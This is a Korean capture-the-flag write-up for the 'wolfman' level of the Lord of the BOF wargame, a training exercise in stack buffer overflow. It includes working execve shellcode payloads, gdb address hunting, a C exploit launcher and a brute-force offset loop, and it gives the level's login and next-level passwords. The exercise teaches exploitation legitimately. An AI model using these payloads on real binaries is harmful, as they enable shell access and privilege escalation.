login as : orc
password : cantata
문제 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
LEVEL5 문제와 비슷한 문제이다.
조건1. 커맨드라인 인자가 있어야 한다.
조건2. 환경 변수는 사용할 수 없다.
조건3. 커맨드라인 인자의 48번째 byte의 값이 '\xbf'여야 하므로 0xbfxxxxxx의 형태여야 하고 이는 스택의 주소이므로 RET 부분에 스택 어딘가의 주소를 덮어써야 한다.
조건4. 커맨드라인 인자를 buffer에 복사하지만, 내용을 출력하고 나서는 buffer 안에 있는 40byte만큼의 값을 0으로 초기화 한다.
이번 문제에서는 환경 변수 사용 못하는 것과 커맨드라인 인자의 48번째값이 '\xbf'이어야 한다는 것은 같지만 buffer의 공간을 초기화한다는 조건이 붙었기 때문에 buffer에 shellcode를 담아두고 RET 부분에서 buffer의 시작 주소로 반환하는건 안된다.
이는 payload의 구성을 여러가지로 할 수 있다는 의미로 낸 문제인 거 같은데 이전까지는 "nop + shellcode + RET" 구성과 "shellcode + nop + RET" 구성으로 해결했고, 이번 문제에서는 buffer의 공간에 shellcode를 담아둘 수 없으니 "nop + RET + shllcode" 구성으로 하여 nop로 buffer[40] + SFP[4]를 채우고 RET 부분을 RET 뒤에 있는 스택 어딘가의 주소로 덮어써 해당 주소로 반환됐을 때 shellcode를 만나 셸코드가 실행되게 한다.
그리고 이때 shellcode의 실행 성공률을 높이기 위해 RET와 shellcode 사이에 nop를 배치한다.
dummy 값 확인
지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.
공격 1
cp wolfman wolfman2
./wolfman2 `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
먼저 RET 부분에 덮어쓸 스택 주소를 구하기 위해 위와 같이 wolfman 파일을 wolfman2 파일로 복사한 후 "nop + RET + nop + shellcode" 형태의 커맨드라인 인자를 넘기며 실행한다.
그러면 core 파일이 생성된다.
참고)
core 파일은 리눅스에서 실행 파일이 실행 도중 에러가 나며 종료했을 때 에러 정보를 담고 있는 파일이다.
gdb -q -c core
x/40x $esp-48
core 파일을 분석하면 위의 사진과 같이 나오는데, 빨간 박스는 buffer의 공간으로 memset() 함수로 인해 0으로 초기화 되어 있다.
파란 박스는 SFP의 공간으로 0x90으로 채워져 있고, 주황 박스는 RET 부분으로 0xbfbfbfbf가 채워져 있다.
이어서 분홍 박스는 0x90이 10byte 채워져 있고, 하얀 박스는 shellcode이다.
현재 10byte의 0x90이 들어가는 곳은 0xbffffca0 부터이므로 RET 부분을 0xbffffca0으로 덮으면 된다.
./wolfman `python -c 'print "\x90" * 44 + "\xa0\xfc\xff\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
위의 공격 스크립트를 이용하면 wolfman의 password love eyuna를 얻을 수 있다.
공격 2
위에서 "NOP + RET + NOP + shellcode" 형태의 payload를 사용했다.
RET 부분에 스택 어딘가의 주소가 들어가면 되므로 RET 바로 뒤쪽에 shellcode를 배치한 후 해당 shellcode가 실행될 수 있도록 스택 주소를 RET에 덮어씌운 것이다.
RET 부분에 스택 어딘가의 주소를 덮어씌우면 되는데, 이때 argv[2]의 주소를 덮어씌워도 된다.
argv[2]의 주소도 어쨌든 스택의 주소이기 때문에 공격하는 데 아무런 지장이 없다.
gdb -q wolfman2
set disassembly-flavor intel
disas main
gdb로 wolfman2를 실행하고
b * main
r `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
x/40x $esp
0x8048500 주소에 bp를 걸고 커맨드라인 인자를 2개를 주며 실행한다.
그러면 0x8048500 주소에 걸린 bp에 걸리는데, 이는 아직 SFP가 생성되지 않았고, 지역 변수 공간 역시 할당되지 않은 상태이다.
이 상태에서 현재 스택을 보면 햐얀 박스의 왼쪽에서부터 RET, argc, argv이다.
argv의 주소의 값을 보면 0xbffffdd5, 0xbffffde8, 0xbffffe19 이렇게 3개가 나오는데, 왼쪽에서부터 argv[0], argv[1], argv[2]의 주소이다.
./wolfman `python -c 'print "\x90" * 44 + "\x19\xfe\xff\xbf"'` `python -c 'print "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
argv[2]의 주소로 반환하게 해도 wolfman 계정의 password love eyuna를 얻을 수 있다.
주변 스택 주소를 기준점으로 하여 offset 값을 빼 공격
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
unsigned int i, ret, offset=68;
char *command, *buffer;
command = (char*)malloc(100);
memset(command, 0, 100);
strcpy(command, "./wolfman \'");
buffer = command + strlen(command);
if(argc > 1)
offset = atoi(argv[1]);
printf("i : %p\n", &i);
ret = (unsigned int)&i - offset;
printf("offset : %d\n", offset);
printf("ret : %p\n", ret);
for(i = 0; i < 48; i += 4)
*((unsigned int*)(buffer+i)) = ret;
memset(buffer + 48, 0x90, 16);
memcpy(buffer+64, shellcode, strlen(shellcode));
printf("command len : %d\n", strlen(command));
strcat(command, "\'");
system(command);
free(command);
return 0;
}
위와 같이 소스코드를 이용해 공격할 수 있고
for i in `seq 0 100`; do echo Trying $i; ./exploit $i; done
offset은 위의 명령으로 알아낼 수 있다.